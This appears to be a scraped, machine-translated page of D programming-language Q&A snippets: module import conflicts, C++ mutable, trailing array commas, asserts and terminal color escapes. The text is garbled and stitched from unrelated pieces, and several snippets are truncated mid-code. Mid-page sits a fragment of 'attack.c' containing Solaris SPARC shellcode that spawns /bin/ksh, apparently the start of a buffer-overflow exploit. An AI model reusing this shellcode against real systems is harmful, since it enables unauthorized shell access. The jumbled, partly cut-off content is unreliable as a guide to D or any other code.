狂
module ma;
struct A{ }
Run Code Online (Sandbox Code Playgroud)
mb.d
module mb;
import ma : A;
struct B{ }
Run Code Online (Sandbox Code Playgroud)
main.d
import ma;
import mb;
void main(){
A a;
}
Run Code Online (Sandbox Code Playgroud)
编译时:
main.d(6):错误:ma.A at ma.d(3)与mb.A在mb.d(2)冲突
在mb.d A是不是一个公共的进口,那么为什么这个错误吗?
奇怪的是,以下代码编译:
main.d
import mb;
void main(){
A a;
}
Run Code Online (Sandbox Code Playgroud)
那么,这是另一个DMD错误,还是我误解了进口和公共进口的运作方式?
如果你需要在D中重写以下C++代码,你会怎么做?
struct A{
const S* _s;
B _b;
C _c;
mutable C _c1, _c2;
A(const B& b, const C& c, const S* s){ /*...*/ }
void compute(const R& r) const
{
//...
_c1 = ...
_c2 = ...
}
};
Run Code Online (Sandbox Code Playgroud)
D没有mutable,而且根据我的经验,它很少用于C++.但是,假设mutable在这里使用正确的原因,我在D中的选择是什么?
void main(){
int[3] arr = [1, 2, 3,];
}
Run Code Online (Sandbox Code Playgroud)
额外的逗号是合法的还是因为编译器错误而没有被标记为错误?我有很多mixins生成带有额外逗号的数组.我想知道我是否应该花时间删除它们.
即使这个编译没有错误:
void main(){
int[3] arr = [1, 2, 3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,];
}
Run Code Online (Sandbox Code Playgroud) /* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464 …Run Code Online (Sandbox Code Playgroud) 我有这个c ++ 11代码:
auto gen = []() -> double { /* do stuff */ };
std::generate(myArray.begin(), myArray.end(), gen);
Run Code Online (Sandbox Code Playgroud)
我怎么用D的阵列做同样的事情? std.algorithm.fill不接受函数对象,我不知道如何传递函数recurrence.
如果是这样,用法是什么?我在尝试这个:
-jar yuicompressor-2.4.7 file1.js, file2.js -o combined.js
Run Code Online (Sandbox Code Playgroud)
但我得到一个错误,应该指定'type'选项.
如果我对1个文件执行相同操作,则将其缩小并输出内容stdout.我想结合file1,并file2按此顺序.
struct Matrix(int row, int col){ /* ... */ }
// finds the inverse using Gauss–Jordan elimination
pure M inverse(M)(const ref M m){ /* ... */ }
Run Code Online (Sandbox Code Playgroud)
原因m是ref因为性能.显然,我不希望每次需要反转时都会复制大型矩阵,到目前为止这种方法运行良好.
但是,在编译时需要反转的情况下,它已经成为一个问题:
mixin template A(){
alias Matrix!(3, 3) Matrix3x3;
static Matrix3x3 computeSomeMatrix(){ }
immutable Matrix3x3 _m = computeSomeMatrix();
immutable Matrix3x3 _m_1 = inverse(computeSomeMatrix()); // error
}
Run Code Online (Sandbox Code Playgroud)
要修复错误,我需要更改m为非ref,但这意味着每次inverse()调用时都会复制矩阵.我该怎么办?
在C++中,以下代码在控制台中运行时将以彩色打印文本:
cout << "\e[32;40mGreenForegroundAndBlackBackgroundText" << endl;
Run Code Online (Sandbox Code Playgroud)
在DI中出错:
string s = "\e[32;40mGreenForegroundAndBlackBackgroundText"; // undefined escape sequence \e
Run Code Online (Sandbox Code Playgroud)
有没有办法让这个在D工作?
Real opIndex(size_t row, size_t col = 0) const pure nothrow {
assert(col + row * Col < Row * Col, "index out of bounds.");
return _data[col + row * Col];
}
Run Code Online (Sandbox Code Playgroud)
如今,这个断言失败了,我希望看到的实际值row和col.不幸的是,assert不喜欢writeln或者writefln,所以我做不了类似的事情:
assert(col + row * Col < Row * Col, "index out of bounds. row: %d col: %d", row, col);
Run Code Online (Sandbox Code Playgroud)
我甚至试过这个:
assert(col + row * Col < Row * Col, "index out of bounds" ~ to!string(row)~ " " ~ …Run Code Online (Sandbox Code Playgroud) 目标是实现与此C++示例相同的效果:避免创建临时对象.我试过将C++示例翻译成D而没有成功.我也尝试了不同的方法.
import std.datetime : benchmark;
import std.stdio : writefln, writeln;
void bench(alias fun, string time = "msecs")(string msg, uint n = 1_000_000) {
auto b = benchmark!fun(n);
writefln(" %s: %s ms", msg, b[0].to!(time, int));
}
alias double Real;
struct Expression(string op, E1, E2) {
E1 _v1;
E2 _v2;
alias _v1 v1;
alias _v2 v2;
auto opIndex(size_t i) {
return mixin("v1[i]" ~ op ~ "v2[i]");
}
auto opBinary(string op, E)(auto ref E e) {
return Expression!(op, typeof(this), E)(this, e); …Run Code Online (Sandbox Code Playgroud)